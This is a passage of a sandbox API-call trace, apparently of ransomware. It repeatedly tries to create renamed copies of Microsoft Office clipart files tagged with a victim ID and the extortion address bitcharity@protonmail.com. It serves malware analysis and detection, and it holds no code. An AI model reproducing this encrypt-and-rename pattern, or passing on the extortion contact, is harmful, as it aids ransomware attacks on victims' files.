Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.307] CloseHandle (hObject=0x11d4) returned 1 [0247.307] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.307] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.308] CloseHandle (hObject=0x11d4) returned 1 [0247.309] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.309] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.309] CloseHandle (hObject=0x11d4) returned 1 [0247.310] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.310] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.310] CloseHandle (hObject=0x11d4) returned 1 [0248.571] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.571] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.571] CloseHandle (hObject=0x1268) returned 1 [0248.573] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.573] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.573] CloseHandle (hObject=0x1268) returned 1 [0248.574] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.574] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.575] CloseHandle (hObject=0x1268) returned 1 [0248.576] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.576] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.576] CloseHandle (hObject=0x1268) returned 1 [0248.578] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.578] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.578] CloseHandle (hObject=0x1268) returned 1 [0248.579] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.579] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.579] CloseHandle (hObject=0x1268) returned 1 [0248.580] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.580] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.581] CloseHandle (hObject=0x1268) returned 1 [0248.582] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.582] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.582] CloseHandle (hObject=0x1268) returned 1 [0248.585] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.585] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.586] CloseHandle (hObject=0x1268) returned 1 [0248.587] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.587] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.587] CloseHandle (hObject=0x1268) returned 1 [0248.589] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.589] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.590] CloseHandle (hObject=0x1268) returned 1 [0248.597] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.597] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.598] CloseHandle (hObject=0x1268) returned 1 [0248.600] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.600] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.601] CloseHandle (hObject=0x1268) returned 1 [0248.602] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.602] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.602] CloseHandle (hObject=0x1268) returned 1 [0248.604] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.604] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.604] CloseHandle (hObject=0x1268) returned 1 [0248.606] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.606] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.606] CloseHandle (hObject=0x1268) returned 1 [0248.607] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.709] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.941] CloseHandle (hObject=0x1268) returned 1 [0248.942] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.942] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.942] CloseHandle (hObject=0x1268) returned 1 [0248.943] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.943] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.944] CloseHandle (hObject=0x1268) returned 1 [0248.945] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.945] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.946] CloseHandle (hObject=0x1268) returned 1 [0248.947] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.947] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.947] CloseHandle (hObject=0x1268) returned 1 [0248.948] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.948] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.948] CloseHandle (hObject=0x1268) returned 1 [0248.950] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.950] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.950] CloseHandle (hObject=0x1268) returned 1 [0248.955] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.955] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.955] CloseHandle (hObject=0x1268) returned 1 [0248.956] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.957] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.957] CloseHandle (hObject=0x1268) returned 1 [0248.960] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.960] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.960] CloseHandle (hObject=0x1268) returned 1 [0248.961] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.961] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.962] CloseHandle (hObject=0x1268) returned 1 [0248.962] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.962] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.963] CloseHandle (hObject=0x1268) returned 1 [0248.964] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.964] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 